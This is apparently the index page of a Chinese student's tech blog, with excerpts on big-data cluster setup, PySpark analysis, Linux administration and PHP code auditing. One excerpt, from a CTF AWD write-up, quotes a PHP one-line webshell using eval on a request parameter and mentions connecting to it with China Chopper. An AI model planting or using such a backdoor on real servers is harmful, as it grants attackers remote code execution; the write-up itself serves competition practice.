Just Do IT !

Just Do IT !

一个对技术永远充满热爱的大学生

大数据环境准备-搭建数据仓库
环境准备1.首先修改hosts文件,以自己实验ip为准。(master中进行) vim /etc/hosts 然后直接将hosts文件复制到从节点中 scp /etc/hosts root@slave1:/etc/hosts scp /etc/hosts root@slave2:/etc/hosts 2.开启zookeeper(三台机器) 进入zookeeper安装目录,直接开启zookeeper。 /usr/zookeeper/zookeeper-3.4.10/bin/zkServer.sh start /usr/zookeeper/zookeeper-3.4.10/bin/zkSer...
大数据基础环境搭建
实验环境:12Centos7 Xshell 安装包版本:12345678hadoop-2.7.3.tar.gzapache-hive-2.1.1-bin.tarhbase-1.2.4-bin.tar.gzjdk-8u171-linux-x64.tar.gzmysql-connector-java-5.1.47-bin.jarscala-2.11.12.tgzspark-2.4.0-bin-hadoop2.7.tgzzookeeper-3.4.10.tar.gz 基础环境搭建及Zookeeper搭建修改主机名本次集群搭建共有三个节点,包括一个主节点master,和两个从节点slave1和s...
Centos7配置yum源安装Mysql
构建下载仓库在/etc/yum.repos.d/下新建mysql-community.repo 123456[mysql57-community]name=MySQL 5.7 Community Serverbaseurl=https://repo.mysql.com/yum/mysql-5.7-community/el/7/$basearch/enabled=1gpgcheck=0gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-mysql 安装MySQL服务器yum -y install mysql-server 启动MySQL服务systemct...
Centos7配置时间同步
时间同步1.时区一致。要保证设置主机时间准确,每台机器时区必须一致。实验中我们需要同步网络时间, 因此要首先选择一样的时区。先确保时区一样,否则同步以后时间也是有时区差。 可以使用date查看自己的机器时间 2.选择时区:tzselect 由于hadoop集群对时间要求很高,所以集群内主机要经常同步。我们使用ntp进行时间同步,master作为ntp服务器,其余的当做ntp客户端。 下载ntpyum install –y ntp NTP是网络时间协议(NetworkTimeProtocol),它是用来同步网络中各个计算机的时间的协议。 master作为ntp服务器,修改n...
基于PySpark的电影推荐引擎
相关知识推荐引擎是最常见的机器学习应用,我们可以在各大购物网站上看见这方面的应用。 Spark MLlib支持ALS(Alternating Least Squares)推荐算法,是机器学习的协同过滤推荐算法。机器学习的协同过滤推荐算法通过观察所有用户给产品的评价来推断每个用户的喜好,并向每个用户分别推荐多个合适的产品,也可以把某个产品推荐给多个用户。 系统环境Linux Centos7 Python 3.7.3 Anaconda Spark2.4.2 IPython Notebook 任务步骤前期准备 将hadoop相关服务打开 在hadoop/sbin目录下./start-all...
Centos7安装Anaconda详细版
操作环境 centos7 Anaconda版本 Anaconda3-2019.07-Linux-x86_64.sh 下载地址 安装过程下载打开Anaconda下载地址,复制下载链接,在centos7中使用wget下载,也可以在本地下载完上传到Centos中 安装在命令行运行bash Anaconda3-2019.07-Linux-x86_64.sh 按照提示输入yes与按回车键 注意安装完anaconda,修改~/.bash_profile文件,添加anaconda的bin目录到PATH中(如果最后一个提示你yes/no,选择yes就不需要更改 如果选择了no,那么打开~/.ba...
使用PySpark对招聘信息数据进行分析
使用PySpark对智联数据进行分析Spark数据处理方式主要有三种:RDD、DataFrame、Spark SQL三者的主要差异在于是否定义Schema RDD的数据未定义Schema(也就是未定义字段名及数据类型)。使用上必须有Map/Reduce的概念,需要高级别的程序设计能力。但是功能也最强,能完成所有Spark功能。 Spark DataFrame建立时必须定义Schema(定义每一个字段名与数据类型) Spark SQL是由DataFrame衍生出来的,我们必须先建立DataFrame,然后通过登录Spark SQL temp table,就可以使用Spark SQL语...
CTF 河北大赛AWD简单的代码审计
今天先把去年的AWD代码审计一下,以后有时间就把今年的AWD代码审计写一下 index.php12345<?php include 'header.php';@eval($_REQUEST['aa']);echo 'eval';?> 首先打开index.php,一目了然,可以看到头文件有一句话木马,密码是aa 这里使用中国菜刀可以直接连上一句话木马,进入服务器 扩展了解一句话脚本的工作原理一句话脚本的工作原理:一句话恶意脚本分析服务端与客户端。(此处以php脚本语言简述原理) 一句话恶意脚本服务端就是我们要用来插入到php文件中的asp语句,(不仅仅是以php为后缀的数据库...
Liunx 管理用户、组及权限
一 使用命令创建用户并赋予访问权限命令列表:命令|描述|–|–|Useradd| 添加用户Userdel| 删除用户Groupadd |添加组Passwd| 更改用户密码Chmod| 更改目录权限Chown| 更改目录所有者 使用groupadd命令创建用户组user_group 使用useradd命令创建用户user1,要求所属组为user_group、用户主目录为/user1 使用useradd命令创建用户user2,要求所属组为user_group、用户主目录为/home/user2 修改两个用户的登录密码为123,使用两个用户登录系统...
PHP代码审计工具Rips的使用
Rips 0x00 介绍最近在准备CTF攻防比赛时发现了一个很好的代码审计工具,接下来就给大家介绍此工具的使用 在安全工作中,代码审计是很重要的一项技能。在面对大规模的代码时,使用自动化工具辅助人工漏洞挖掘,可以显著提高审计工作的效率。学会利用自动化代码审计工具,是每一个代码审计人员必备的能力。 它使用了静态分析技术,能够自动化地挖掘PHP源代码潜在的安全漏洞如XSS ,sql注入,敏感信息泄漏,文件包含等常见漏洞;也可以采用正则方式扫描代码发现漏洞;还能够采用自定义的语法扫描代码发现问题。渗透测试人员可以直接容易的审阅分析结果,而不用审阅整个程序代码。当然,最后去校验结果必须是我们自己...
avatar
浩翰Redamancy
文质彬彬 然后君子
FRIENDS
My CSDN